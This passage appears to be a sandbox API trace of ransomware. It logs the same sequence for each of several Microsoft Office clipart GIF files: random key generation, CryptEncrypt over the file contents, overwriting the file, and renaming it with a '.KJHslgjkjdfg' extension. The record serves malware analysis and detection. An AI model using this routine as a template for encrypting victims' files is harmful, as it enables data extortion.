lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c0, lpOverlapped=0x0) returned 1 [0219.176] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.176] SetEndOfFile (hFile=0x130) returned 1 [0219.178] GetProcessHeap () returned 0x990000 [0219.178] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.178] GetProcessHeap () returned 0x990000 [0219.178] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.kjhslgjkjdfg")) returned 1 [0219.179] CloseHandle (hObject=0x130) returned 1 [0219.179] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0219.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.181] GetProcessHeap () returned 0x990000 [0219.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.181] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0219.182] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.182] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.183] GetProcessHeap () returned 0x990000 [0219.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.183] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.183] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.183] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.183] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.183] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x304, lpOverlapped=0x0) returned 1 [0219.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x310, dwBufLen=0x310 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x310) returned 1 [0219.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.184] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x310, lpOverlapped=0x0) returned 1 [0219.184] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.184] SetEndOfFile (hFile=0x130) returned 1 [0219.186] GetProcessHeap () returned 0x990000 [0219.186] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.186] GetProcessHeap () returned 0x990000 [0219.186] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.kjhslgjkjdfg")) returned 1 [0219.187] CloseHandle (hObject=0x130) returned 1 [0219.187] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0219.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.187] GetProcessHeap () returned 0x990000 [0219.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.188] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0219.189] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.190] GetProcessHeap () returned 0x990000 [0219.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.190] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.190] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.190] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe44, lpOverlapped=0x0) returned 1 [0219.190] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe50, dwBufLen=0xe50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe50) returned 1 [0219.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.190] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe50, lpOverlapped=0x0) returned 1 [0219.191] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.191] SetEndOfFile (hFile=0x130) returned 1 [0219.192] GetProcessHeap () returned 0x990000 [0219.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.192] GetProcessHeap () returned 0x990000 [0219.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.kjhslgjkjdfg")) returned 1 [0219.193] CloseHandle (hObject=0x130) returned 1 [0219.193] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0219.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.193] GetProcessHeap () returned 0x990000 [0219.193] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.193] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.195] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.195] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.195] GetProcessHeap () returned 0x990000 [0219.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.195] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.195] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.195] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.196] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.196] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.196] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x446, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x446, lpOverlapped=0x0) returned 1 [0219.196] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x450, dwBufLen=0x450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x450) returned 1 [0219.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.196] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x450, lpOverlapped=0x0) returned 1 [0219.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.196] SetEndOfFile (hFile=0x130) returned 1 [0219.199] GetProcessHeap () returned 0x990000 [0219.199] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.199] GetProcessHeap () returned 0x990000 [0219.199] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.kjhslgjkjdfg")) returned 1 [0219.200] CloseHandle (hObject=0x130) returned 1 [0219.200] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0219.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.201] GetProcessHeap () returned 0x990000 [0219.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.201] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.201] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0219.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.203] GetProcessHeap () returned 0x990000 [0219.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.203] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.203] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.203] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.203] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5fe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5fe, lpOverlapped=0x0) returned 1 [0219.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600, dwBufLen=0x600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600) returned 1 [0219.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.204] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x600, lpOverlapped=0x0) returned 1 [0219.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.204] SetEndOfFile (hFile=0x130) returned 1 [0219.206] GetProcessHeap () returned 0x990000 [0219.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.206] GetProcessHeap () returned 0x990000 [0219.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.kjhslgjkjdfg")) returned 1 [0219.207] CloseHandle (hObject=0x130) returned 1 [0219.207] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x2e0000, 